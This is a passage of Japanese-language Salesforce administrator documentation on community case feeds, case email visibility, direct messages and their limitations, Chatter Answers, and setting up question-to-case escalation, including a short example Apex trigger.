コミュニティケースフィードを設定する前に、次の重要な情報を確認してくだ
さい。
コミュニティケースフィードが有効な場合:

• エージェントは、コンソールケースフィードで [コミュニティ] アクションを
使用して、コミュニティの質問に回答したり、ケースに関する非公開および
公開の Chatter 投稿を作成したりすることができます。

• エージェントは、外部コミュニティユーザのケースフィードで公開済みChatter

投稿およびメールを公開または非表示にすることができます。
• ケースへのアクセス権を持つ外部コミュニティユーザには、関連付けられた

Chatter 投稿、質問、およびメールがケースフィードに表示されます。
ケース投稿のメール通知が有効な場合:

• 誰かがケースで外部参照可能な投稿を行ったときに、すべてのケース取引先責任者にメールで通知します。
ケース取引先責任者は、メールに返信することで投稿にコメントできます。

• ワークフローでトリガされる通知などのカスタムメール通知設定をすでに使用している場合は、この設定
を選択するとメール通知が重複する可能性があります。

• カスタマーサービス (Napili)テンプレートまたは Salesforce タブと Visualforce で作成されたコミュニティでは、
これらの通知を無効にできます。メール通知設定で、[ユーザが次の動作をした場合にメール送信] の下の
[私のいずれかのケースに投稿] を選択解除します。

関連トピック:

コミュニティケースフィードのメール
コミュニティケースフィードでの公開済み投稿またはメールの公開または非表示
コミュニティケースフィードの設定

コミュニティケースフィードのメール
コミュニティケースフィードを有効にすると、ケースへのアクセス権を持つ外部ユーザのフィードにケース
メールが表示されます。コミュニティケースフィードのメールには、メールの作成者、受信者、テキスト、送
信時刻が含まれます。
デフォルトでは、ケース取引先責任者がケースメールを送信または受信すると、ケースへのアクセス権を持つ
すべてのユーザ (内部ユーザと外部ユーザの両方) のフィードにそのメールが表示されます。外部ユーザがケー
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スを表示するには、外部ユーザのプロファイルにコミュニティ内のケースへのアクセス権が含まれている必要
があります。
たとえば、外部ユーザである Rita が、コミュニティで質問を投稿するとします。質問は未解決のままになり、
コミュニティモデレータは、[質問-to-ケース] アクションを使用して質問からケースを作成します。ケースに割
り当てられたサポートエージェントがメールパブリッシャーから Rita にメールを送信すると、Rita およびケー
スへのアクセス権を持つ他のすべてのユーザのケースフィードにメールが表示されます。ケースへのアクセス
権を持つユーザには通常、割り当て済みのサポートエージェントとケース取引先責任者が含まれます。
コミュニティケースフィードが有効な場合、Apexトリガまたはプロセスを作成して外部コミュニティユーザの
フィードですべてのケースメールを非表示または公開することができます。EmailMessage オブジェクトの
IsExternallyVisible 項目により、コミュニティケースフィードでのメールメッセージの表示が制御され
ます。この項目が trueに設定されている場合、ケース取引先責任者が送受信するメールは、ケースへのアク
セス権を持つ外部ユーザに表示されます。

例: 次のトリガは、ケースへのアクセス権を持つ外部ユーザのフィードにすべてのケースメールを公開し
ます。つまり、内部ユーザ間のケースメールもケースへのアクセス権を持つ外部ユーザに表示されます
(割り当て済みサポートエージェントがメールパブリッシャーを使用して配送業者にメールを送信する場
合など)。すべてのケースメールを外部ユーザのケースフィードで非表示にするには、true を false に
変更します。
trigger makepublic on EmailMessage (before Insert) {
for(EmailMessage oe:trigger.new){
oe.IsExternallyVisible=true;
}

}

関連トピック:

コミュニティケースフィードでの公開済み投稿またはメールの公開または非表示
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コミュニティケースフィードでの公開済み投稿またはメールの公開または非表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースに関する公開済み
Chatter 投稿またはメール
の外部表示設定を編集す
る
• 「自分の投稿を編集」
• 「自分が所有するレ

コードへの投稿を編
集」

• 組織でのコンパクト
ケースフィードの有効
化

• 組織でのコミュニティ
ケースフィードの有効
化

必要に応じて、サポートエージェントは、コミュニティユーザのケースフィー
ドで個々のケースメールと公開済み Chatter 投稿を公開または非表示にすること
ができます。
ケースに関する公開済み Chatter 投稿またはメールの外部表示設定を変更する手
順は、次のとおりです。
1. コンパクトケースフィード内の投稿またはメールに移動します。
2. 投稿またはメールのドロップダウンメニューで、次のように選択します。

• ケースへのアクセス権を持つ外部ユーザのケースフィードに内部 Chatter

投稿またはメールを公開するには、[公開] を選択します。
• ケースへのアクセス権を持つ外部ユーザのケースフィードから Chatter 投

稿またはメールを削除するには、[非公開] を選択します。

ケース Chatter 投稿の [公開] オプション:

ケースメールの [公開] オプション:
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ケースを所有するエージェントとその上司には、ケースに関するすべてのケースメールとChatter投稿に対する
[公開]および [非公開]オプションが表示されます。ケースを所有しない内部ユーザにも、自分が作成したケー
ス投稿またはメールにこれらのオプションが表示されます。
メールと Chatter 投稿を非公開にする

ケース Chatter 投稿またはメールで [非公開] をクリックすると、ケース取引先責任者およびそのケースへの
アクセス権を持つ他の外部ユーザのケースフィードに投稿とメールが表示されなくなります (ケースへのア
クセス権を持つ内部ユーザのフィードには引き続き表示されます)。ケースへのアクセス権を持つ他の外部
ユーザのケースフィードでケース取引先責任者との通信を非表示にする場合、エージェントがコミュニティ
ケースフィードのメールと投稿を非公開にすることがあります。

メモ: メールを非公開にしても、メールの受信者はすでにメールを受信しています。同様に、Chatter

投稿を非公開にしても、ケースへのアクセス権を持つ外部ユーザには最初の投稿時にメールで通知さ
れている可能性があります。

メールと Chatter 投稿を公開する
ケース Chatter 投稿またはメールで [公開] をクリックすると、ケース取引先責任者およびそのケースへのア
クセス権を持つ他の外部ユーザのケースフィードに投稿またはメールが表示されるようになります。ケー
ス取引先責任者にケースの内部的な進行状況について最新情報を提供し続けるため、エージェントがコミュ
ニティケースフィードでメールまたは投稿を公開することがあります。

メモ:

• ケースフィードには便利なビジュアルキューが備えられています。ビジュアルキューによって、エー
ジェントは外部で参照可能なケース投稿をすばやく識別できます。ビジュアルキューの有効化につい
ての詳細は、「ケースフィードのフィードビューの設定」の「フィードビューオプション」を参照し
てください。

• Apexトリガまたはプロセスを作成して、外部ユーザのコミュニティケースフィードですべてのケース
メールを非表示または公開することができます。詳細は、「コミュニティケースフィードのメール」
を参照してください。

関連トピック:

コミュニティケースフィード
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ケースフィードの [コミュニティ] アクションによるケースおよびコミュニティの質問への投
稿

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルまた
はコミュニティのケース
投稿を作成する
• ケースに対する「編

集」

コミュニティまたはカスタマーポータルから作成されたケースの場合、ケース
フィードの [コミュニティ] アクションが、顧客に回答するデフォルトオプショ
ンです。
カスタマーポータルまたはコミュニティのケースに投稿する
1. ケースフィードページの [顧客への回答] をクリックします。
2. をクリックして、[コミュニティ] を選択します。

システム管理者によるケースフィードの設定方法によっては、最初に [顧客
への回答] をクリックせずに [コミュニティ] をクリックできる場合がありま
す。

3. 顧客へのメッセージを入力します。

4. Chatter の質問または Chatter アンサーで質問からエスカレーションされたケースで作業している場合、投稿
を参照可能なユーザを選択します。
• 非公開の返信として回答を投稿するには [顧客のみ]、公開の返信として投稿するには [全員] を選択しま

す。
• [顧客ケース]を選択すると、そのケースにアクセスできるすべての内部ユーザと外部ユーザに投稿が表

示されます。[コミュニティの質問]を選択すると、コミュニティユーザの質問に対する公開回答を投稿
できます。[顧客ケース] を選択し、Salesforce システム管理者がコミュニティケースフィードを有効にし
ている場合は、ケースコメントではなく Chatter 投稿を作成します。
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5. 必要に応じて、[メールを送信] を選択し、顧客の質問への返信がケースに投稿されたことを知らせるメッ
セージを顧客に送信できます。

メモ: このオプションは、システム管理者がオプションを有効化していて、返信先の顧客がケースに
関連付けられ、有効なメールアドレスを持っている場合にのみ使用できます。組織でコミュニティ
ケースフィードを使用し、Chatter ケース投稿のメール通知が有効になっている場合、ユーザには、ケー
スに対する公開投稿に関するメール通知が自動的に送信され、このオプションは表示されません。

6. 必要に応じて、投稿にナレッジ記事を添付します。
7. ボタンをクリックして投稿を公開します。

メモ: 組織でコミュニティケースフィードが有効になっている場合は、公開後にケース投稿の表示を変更
できます。詳細は、「コミュニティケースフィードでの公開済み投稿またはメールの公開または非表示」
を参照してください。

関連トピック:

ケースフィードからのメールの送信およびメールへの返信
ケースフィードの概要
コミュニティケースフィード

コミュニティでの Chatter の質問の有効化

エディション

使用可能なエディション:
Salesforce Classic

Chatter の質問を使用可能
なエディション: Group
Edition、Professional
Edition、Developer
Edition、Performance
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

グローバルパブリッ
シャーレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

Chatter の質問は、ユーザが Chatter フィード、グループ、およびレコードで質問
と回答ができるようにすることで、コミュニティエンゲージメントを促進する
のに役立ちます。ユーザのグループおよびコミュニティのメンバーは、Chatter

で投稿にコメントする場合と同じ要領で、Chatter で質問に回答できます。カス
タマーサービス (Napili) テンプレートで構築されたコミュニティのユーザは、質
問にファイルを添付することもできます。
コミュニティへの Chatter の質問の設定は、質問アクションをグローバルパブリッ
シャーレイアウトに追加するだけで行えます。組織が Summer '14 以降で作成さ
れた場合、質問アクションは自動的に追加されていますが、見やすくするため
に左端にドラッグすることをお勧めします。

メモ:  Chatter の質問は、Koa および Kokua コミュニティテンプレートで作成
されたコミュニティでは使用できません。
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1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力し、[パブリッシャーレイアウ
ト] を選択します。

2. グローバルパブリッシャーレイアウトの横にある [編集] をクリックします。
3. 質問アクションをパレットからグローバルパブリッシャーレイアウトにドラッグします。質問アクション

がすでにレイアウトに表示されている場合は、目的の場所にドラッグします。
4. [保存] をクリックします。

メモ: グループまたはレコードでカスタマイズしたパブリッシャーレイアウトを使用している場合、質問
アクションがそれらのレイアウトにも追加されたことを確認します。

関連トピック:

Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡
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コミュニティでのダイレクトメッセージの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダイレクトメッセージを
有効にする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

および

コミュニティのメン
バーであること

Chatter を有効にする
• 「アプリケーションの

カスタマイズ」

コミュニティメンバーは、ダイレクトメッセージを送信して、1 人以上のメン
バーと非公開の会話を開始できます。ダイレクトメッセージは、カスタマーサー
ビス (Napili)テンプレートに基づき、Lightning Bolt ソリューション (Lightning パート
ナー管理ソリューションなど) に含まれるすべてのコミュニティでサポートされ
ています。

メモ: コミュニティでダイレクトメッセージを有効にする前に、適用され
る「ダイレクトメッセージの制限事項」を確認してください。

ダイレクトメッセージを使用すると、機密性の高い会話のプライバシーが保護
されます。コミュニティフィードで、顧客が商品の問題を投稿した場合につい
て想像してください。サポート担当者は、ダイレクトメッセージでその投稿を
共有し、非公開で顧客の懸念に対応できます。同様に、チャネルマネージャは、
パートナーコミュニティのパートナーユーザと、機密性の高い売上データにつ
いて議論できます。
1. 組織で Chatter が有効になっていることを確認します。
2. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
3. [管理] で、[個人設定] をクリックします。
4. [ダイレクトメッセージを有効化] を選択して、変更を保存します。
5. コミュニティビルダーで、コミュニティの [ホーム] ページの [プロファイル

ヘッダー]コンポーネントをクリックし、[私のメッセージを含める]を選択し
ます。これによりユーザプロファイルドロップダウンメニューに [私のメッ
セージ] リンクが表示されます。

6. 必要に応じて、コミュニティページに他のコンポーネントを追加して、ダイ
レクトメッセージにアクセスしやすくします。
• コミュニティナビゲーションメニューに [メッセージ] ページを追加する

と、目につきやすく、アクセスしやすくなります。
• ページに [[新規メッセージ] ボタン] コンポーネントを追加すると、コミュニティメンバーがそのページ

からメッセージを作成できるようになります。
• [メッセージ通知] コンポーネントをコミュニティホームページに追加します。

7. コミュニティを公開します。
有効にしたら、コミュニティメンバーは次の方法でダイレクトメッセージの会話を開始できます。
• [メッセージ] ページから開始する。
• ユーザプロファイルで、ユーザ名の上にマウスポインタを置いて開始する。
• コミュニティページの [メッセージ通知] コンポーネントおよび [新規メッセージボタン] コンポーネントか

ら開始する。
• フィード投稿をダイレクトメッセージとして共有することによって開始する。
メンバーは、スパムメッセージや不適切なメッセージにフラグを設定することもできます。また、誰かがダイ
レクトメッセージを送信したり、参加している会話に返信したりしたときにメール通知を受信するように選択
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することもできます。コミュニティメンバーは、ユーザプロファイルドロップダウンメニューで[私のメッセー
ジ] をクリックして、ダイレクトメッセージの会話にアクセスできます。

メッセージのリストビューは次のようになります。
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関連トピック:

コミュニティビルダーでのコミュニティページおよびコンポーネントの編集
コミュニティのフラグが設定されたダイレクトメッセージのモデレート
コミュニティのメール通知の管理
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ダイレクトメッセージの制限事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティでダイレクトメッセージを有効にする前に、次の考慮事項を確認
してください。
• ダイレクトメッセージでは、Chatter が組織で有効になっている必要がありま

す。
• ダイレクトメッセージは、カスタマーサービス (Napili) テンプレートおよび

Lightning Bolt ソリューションを使用して作成されたコミュニティでのみ有効
にできます。

• 「すべてのデータの参照」権限および「すべてのデータの編集」権限がある
ユーザでも、会話に参加していなければ、ダイレクトメッセージデータにア
クセスできません。

• 「Chatter メッセージとダイレクトメッセージの管理」権限を持つユーザのみが組織のすべてのダイレクト
メッセージデータを参照できます。

• フラグが設定されたダイレクトメッセージをモデレートするには、モデレータに「Chatter メッセージとダ
イレクトメッセージの管理」権限と「コミュニティ Chatter メッセージのモデレート」権限が必要です。

• プライバシーを確保するために、コミュニティ検索の検索結果にはダイレクトメッセージは表示されませ
ん。

• コミュニティメンバーがダイレクトメッセージにフラグを設定すると、会話全体にフラグが設定されます。
個々のメッセージにフラグを設定することはできません。

• コミュニティで非公開メッセージを有効すれば、非公開メッセージを引き続き使用できます。ただし、ダ
イレクトメッセージの方が Lightning テクノロジとより適切に統合されるため、ダイレクトメッセージに切
り替えることをお勧めします。

開発者向け
ダイレクトメッセージは Chatter REST API でサポートされます。内部的には、ダイレクトメッセージはダイレク
トメッセージエンティティを親とするフィード投稿およびコメントの特殊な実装です。Chatter REST API を使用
してダイレクトメッセージのカスタム実装を作成する場合、次の点に留意してください。
• 最初のメッセージはフィード投稿として保存され、応答はコメントとして保存されます。
• 他のオブジェクトとは異なり、ダイレクトメッセージでは複数のフィード投稿を 1 つのダイレクトメッセー

ジの会話に関連付けることはできません。
• ダイレクトメッセージに関連付けられたフィード項目では、フォロー、いいね!、共有、ユーザへのメン

ション、ミュート、ブックマークを行うことはできません。また、トピックをダイレクトメッセージの
フィード項目に関連付けることもできません。

• ダイレクトメッセージに関連付けられたフィードは、検索、公開フィード、またはストリームでアクセス
できません。

• ダイレクトメッセージのメール通知は、内部 Salesforce 組織用に構築されたカスタム実装ではサポートされ
ません。

• コミュニティ UI では、ダイレクトメッセージは会話の参加者にのみ表示されます。ただし、Apex コードは
システムモードで実行され、現在のユーザの権限は考慮されません。この制限により、Apex および Visualforce

を使用するページに影響があります。
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Visualforce ページで、ダイレクトメッセージデータが公開されていないことを確認します。–

– Apex で記述された AppExchange アプリケーションで、ダイレクトメッセージデータが公開されていない
ことを確認します。

– 組織の Visualforce および Apex 開発者は、ダイレクトメッセージデータにアクセスできる可能性がありま
す。

コードで権限セット、プロファイルレベルの権限、および共有チェックを使用して、ユーザアクセスを制限し
ます。

関連トピック:

コミュニティでのダイレクトメッセージの有効化

コミュニティでの Chatter アンサーの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce Communities で
Chatter アンサーを有効化
する
• 「アプリケーションの

カスタマイズ」

Chatter アンサーは、ユーザが質問を投稿して他のユーザやサポートエージェン
トから回答やコメントを受け取れる、セルフサービスのサポートコミュニティ
です。
Salesforce Communities で Chatter アンサーを設定する手順の概要は、次のとおりで
す。
1. Chatter アンサーを有効化します。

a. [設定] から、[クイック検索] ボックスに「Chatter アンサー設定」と入
力し、[Chatter アンサーの設定] を選択します。

b. [Chatter アンサーを有効化] を選択します。

2. コミュニティメンバーに、組織内の次のオブジェクトへのアクセス権がある
ことを確認します。
• 質問
• ナレッジ記事
• データカテゴリ

3. Chatter アンサーのゾーンを作成します。
a. Chatter アンサーのゾーンを有効化します。
b. [公開] 設定を、ゾーンを表示するコミュニティに設定します。
c. 組織から公開グループを選択して、[カスタマーサポートのエージェントグループ] として指定すること

をお勧めします。

4. [Q&A] タブをコミュニティに追加します。
a. [設定] から、[クイック検索] ボックスに「すべてのコミュニティ」と入力し、[すべてのコミュニティ] を

選択してコミュニティの横にある [コミュニティワークスペース] または [管理] をクリックします。
b. [管理] > [タブ] をクリックします。
c. [Q&A] タブを [選択されたタブ] リストに追加します。
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d. [保存] をクリックします。
e. [閉じる] をクリックします。

5. アクセスが必要なプロファイルに [Q&A] タブが表示されるようにします。
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. [Q&A] タブを表示するプロファイルで [編集] をクリックします。
c. [標準タブの設定] の下で、[Q&A] タブを [デフォルトで表示] に設定します。
d. [保存] をクリックします。

コミュニティで Chatter アンサーを有効にしたら、次の追加リリースオプションを検討してください。
• 公開 Force.com サイト (ポータルの有無は任意)

• ブランド設定、カスタマイズしたランディングページ、およびコミュニティ内での Chatter アンサーへのカ
スタムアクセスを提供する Visualforce タブ

Chatter アンサーが有効なコミュニティにユーザがセルフ登録した場合、ユーザのChatter アンサーユーザ権限は
自動的には設定されません。そのコミュニティユーザに対して Chatter アンサーの権限を設定してください。

質問-to-ケースの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティ、Salesforce 組織、またはその両方に質問-to-ケースを追加します。
質問-to-ケースでは、モデレータが Chatter の未解決の質問からケースを作成し、
顧客の問題をより簡単に追跡および解決できます。モデレータはフィード内の
質問からケースを直接作成できます。また、指定された条件を満たす質問から
ケースを自動的に作成するように、Lightning プロセスビルダーで (ワークフロー
ルールに似ている) プロセスを設定することもできます。サポートエージェント
がケースを要求できるように、質問から作成されたケースはキューに追加され
ます。

質問-to-ケースは、Chatter の質問が有効化されているコミュニティでのみ使用できます。
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1. 質問-to-ケースを有効にする
質問-to-ケースでは、モデレータが Chatter の質問からケースを作成し、顧客の質問をすばやく解決できま
す。コミュニティ、Salesforce 組織、またはその両方で質問-to-ケースを有効化します。

2. [ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する
Chatter で質問からケースが作成されると、ケースの詳細ページの [Chatter からの質問] 項目に元の質問
へのリンクが表示されます。この項目は、エージェントがフィードにすばやく移動するのに役立ちます。

3. フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加
[ケースにエスカレーション] アクションを [Chatter の質問] ページに追加することで、質問からケースを作成
する機能をモデレータに提供します。このアクションは、組織で質問-to-ケースを有効にすると自動的に作
成されます。

4. [ケースにエスカレーション] アクションへのアクセス権を確認する
Salesforce組織でケースに複数のレコードタイプを使用している場合、質問-to-ケースが必要なプロファイル
に、[ケースにエスカレーション] アクションに関連付けられたレコードタイプへのアクセス権があること
を確認します。組織でケースに 1 つのレコードタイプのみを使用している場合、このプロセスはスキップ
してください。

5. [ケースにエスカレーション] アクションレイアウトをカスタマイズする
各ケースで追跡する必要がある情報に基づいて、[ケースにエスカレーション] アクションに表示される項
目、およびその順番を選択します。

6. 質問からのケースをキューに自動的に割り当てる
ケースの割り当てルールは質問-to-ケースではサポートされていないため、デフォルトでは、質問から作成
されたケースはその質問をエスカレーションするモデレータに割り当てられます。エージェントがケース
を要求できるように、質問から作成されたケースをキューに自動的に追加するワークフロールールまたは
プロセスを作成できます。

7. Chatter での未解決の質問からケースの自動作成
コミュニティまたは組織を構築する場合、ユーザの質問にスピーディに回答できるようにします。質問-to-

ケースでは、モデレータがフィードで未解決の質問をケースにエスカレーションできますが、Lightning プ
ロセスビルダーで (ワークフロールールに似ている) プロセスを設定することで、さらに効率的なケース解
決プロセスを作成できます。指定された条件を満たす質問から自動的にケースを作成するプロセスを設定
します。

関連トピック:

質問-to-ケースを有効にする
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質問-to-ケースを有効にする

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

質問-to-ケースを有効化す
る
• 「アプリケーションの

カスタマイズ」

質問-to-ケースでは、モデレータが Chatter の質問からケースを作成し、顧客の質
問をすばやく解決できます。コミュニティ、Salesforce 組織、またはその両方で
質問-to-ケースを有効化します。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. Chatter の質問が有効なすべてのコミュニティで質問-to-ケースを有効にするに

は、[Salesforce で質問-to-ケースを有効化] を選択します。
3. Salesforce 組織で質問-to-ケースを有効にするには、[Salesforce で質問-to-ケース

を有効化] を選択します。
4. [保存] をクリックします

メモ: ケースページレイアウトがフィードベースであることを確認してく
ださい。フィードベースのケースページレイアウトでは、エージェントと
モデレータが [コミュニティ] アクションを使用して、エスカレーションさ
れた質問に回答できます。組織が Spring '14 より前に作成されている場合、
ケースページレイアウトはフィードベースではない可能性があります。

関連トピック:

[ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する
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[ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

Chatter で質問からケースが作成されると、ケースの詳細ページの [Chatter か
らの質問] 項目に元の質問へのリンクが表示されます。この項目は、エージェ
ントがフィードにすばやく移動するのに役立ちます。
まず、項目レベルのセキュリティを使用して、どのユーザに対してケースの詳
細ページに [Chatter からの質問] 項目を表示するかを指定します。
1. ケースのオブジェクト管理設定から、[項目] に移動します。
2. [Chatter からの質問] をクリックします。
3. [項目レベルセキュリティの設定] をクリックします。
4. 質問-to-ケースを使用できるようにするプロファイルに対して[参照可能]を選

択します。
5. [保存] をクリックします。
項目がユーザに表示されるように設定したら、項目を [ケースの詳細] ビューに
追加できます。
1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. カスタマイズするページレイアウトの横にある [編集] をクリックします。
3. [Chatter からの質問] 項目を、ページレイアウトエディタパレットの [項

目] セクションから、ページの [ケース情報] セクションにドラッグします。
4. [保存] をクリックします
5. [ページレイアウトの割り当て]をクリックして、質問-to-ケースを必要とする

ユーザプロファイルがカスタマイズしたページレイアウトに割り当てられて
いることを確認します。また、ケースの [Chatter からの質問]項目にアク
セスする必要がある内部ユーザもそのページレイアウトに割り当てます。

関連トピック:

フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加
オブジェクト管理設定の検索
オブジェクト管理設定の検索
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フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

[ケースにエスカレーション] アクションを [Chatter の質問] ページに追加すること
で、質問からケースを作成する機能をモデレータに提供します。このアクショ
ンは、組織で質問-to-ケースを有効にすると自動的に作成されます。
1. [設定] から、[クイック検索] ボックスに「フィード項目」と入力し、[フィー

ド項目レイアウト] を選択します。
2. フィード項目レイアウトの横にある [編集] をクリックします。
3. [ケースにエスカレーション] アクションを、パレットの[クイックアクション]

カテゴリから [Salesforce Classicパブリッシャーのクイックアクション] セクショ
ンにドラッグします。

4. [保存] をクリックします。
5. [ページレイアウトの割り当て]をクリックして、質問-to-ケースを必要とする

ユーザプロファイルがフィード項目レイアウトに割り当てられていることを
確認します。

関連トピック:

[ケースにエスカレーション] アクションへのアクセス権を確認する
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[ケースにエスカレーション] アクションへのアクセス権を確認する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプを割り当
てる
• 「アプリケーションの

カスタマイズ」

Salesforce組織でケースに複数のレコードタイプを使用している場合、質問-to-ケー
スが必要なプロファイルに、[ケースにエスカレーション] アクションに関連付け
られたレコードタイプへのアクセス権があることを確認します。組織でケース
に 1 つのレコードタイプのみを使用している場合、このプロセスはスキップし
てください。
まず、[ケースにエスカレーション] アクションへのアクセスが必要なプロファイ
ルに割り当てられているレコードタイプを確認します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルの名前をクリックします。
3. [レコードタイプの設定] セクションで、プロファイルが使用しているケース

レコードタイプをメモします。
4. [権限] セクションで、ユーザプロファイルの [Chatter のモデレート]または [コ

ミュニティフィードのモデレート] 権限が有効化されていることを確認しま
す。

次に、[ケースにエスカレーション] アクションで使用されているレコードタイプ
を確認し、必要に応じて変更します。
1. [設定] から、[クイック検索] ボックスに「アクション」と入力し、[フィード

項目アクション] を選択します。
2. [ケースにエスカレーション] アクションの横にある[編集]をクリックします。
3. [レコードタイプ]項目に、このアクションへのアクセスが必要なプロファイ

ルに割り当てられている、レコードタイプが表示されていることを確認しま
す。表示されていない場合、ドロップダウンリストから適切なレコードタイ
プを選択します。

4. [保存] をクリックします。

関連トピック:

[ケースにエスカレーション] アクションレイアウトをカスタマイズする
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[ケースにエスカレーション] アクションレイアウトをカスタマイズする

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

各ケースで追跡する必要がある情報に基づいて、[ケースにエスカレーション] ア
クションに表示される項目、およびその順番を選択します。
1. [設定] から、[クイック検索] ボックスに「アクション」と入力し、[フィード

項目アクション] を選択します。
2. [ケースにエスカレーション] アクションの横にある [レイアウト] をクリック

します。
3. アクションレイアウトエディタパレットからアクションに追加する項目をド

ラッグし、必要に応じて再配置します。
4. [保存] をクリックします

メモ: 公開コミュニティでは、ケースが送信されている場合は取引先責任
者を検索できないため、ケースアクションレイアウトから [取引先責任者]

を削除することをお勧めします。

関連トピック:

質問からのケースをキューに自動的に割り当てる

質問からのケースをキューに自動的に割り当てる

エディション

使用可能なエディション:
Salesforce Classic

質問-to-ケースを使用可能
なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ケースの割り当てルールは質問-to-ケースではサポートされていないため、デ
フォルトでは、質問から作成されたケースはその質問をエスカレーションする
モデレータに割り当てられます。エージェントがケースを要求できるように、
質問から作成されたケースをキューに自動的に追加するワークフロールールま
たはプロセスを作成できます。
エスカレーションされた質問は、いくつかの方法でキューに割り当てることが
できます。ケースの Type項目が Questionと等しい場合に、指定されたキュー
に自動的にケースを割り当てるプロセスを Lightning プロセスビルダーで作成す
るというのが基本的な方法です。複数のキューに対応するプロセスを作成する
こともできます。たとえば、特定のトピックのケースを別のキューに割り当て
ることができます。
エスカレーションされた質問でのキューの使用方法は、ユーザや目標などによっ
て異なります。ビジネスニーズに最適な方法を見つけてください。
キューの作成方法についての詳細は、「キューの作成」を参照してください。

関連トピック:

Chatter での未解決の質問からケースの自動作成
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Chatter での未解決の質問からケースの自動作成

エディション

使用可能なエディション:
Salesforce Classic

質問-to-ケースを使用可能
なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Lightning プロセスビル
ダーを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

コミュニティまたは組織を構築する場合、ユーザの質問にスピーディに回答で
きるようにします。質問-to-ケースでは、モデレータがフィードで未解決の質問
をケースにエスカレーションできますが、Lightning プロセスビルダーで (ワーク
フロールールに似ている) プロセスを設定することで、さらに効率的なケース解
決プロセスを作成できます。指定された条件を満たす質問から自動的にケース
を作成するプロセスを設定します。

重要: これらの手順は、Chatter の質問を使用する組織およびコミュニティに
のみ適用されます。該当するかわからない場合は、「Salesforce の Q&A 機能
の相違点」 (ページ 3755)を参照してください。

質問-to-ケースは、いくつかの方法のプロセスで使用できます。たとえば、次の
プロセスを設定するとします。
• 質問されてから 1 週間が経過した場合、質問が 10 個を超えるいいね! を受け

取った場合、および最良の回答が選択された場合に、質問からケースを作成
する。

• 質問に「競合」という単語が含まれている場合、直ちに質問からケースを作
成する。

質問-to-ケースに関連するプロセスは、フィード項目オブジェクトで動作しま
す。プロセスには、質問の投稿がエスカレーション条件を満たすかどうかを評
価するフローが含まれます。フロー変数は、次のようないくつかのフィード項
目に基づいて作成できます。
• BestCommentId: 最良の回答として選択されたコメントの ID。最良の回答として選択されたコメントがな

い場合、この項目は Null です。
• CommentCount: 質問へのコメントの数。
• LikeCount: 質問へのいいね! の数。

ヒント:

• 各フロー変数のデータ型は、フィード項目のデータ型と一致する必要があります。CommentCountと
LikeCount は数値項目で、BestCommentId はテキスト項目です。

• フィード項目の作成によってプロセスをトリガできますが、フィード項目 (いいね! やコメントなど) の
更新ではトリガできません。プロセスによっては、関連するフローを実行する前に待機する時間の指
定が必要な場合があります。

関連トピック:

Lightning プロセスビルダー
Cloud Flow Designer
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コミュニティでの Salesforce ナレッジの有効化

エディション

使用可能なインター
フェース: Salesforce Classic

コミュニティが使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

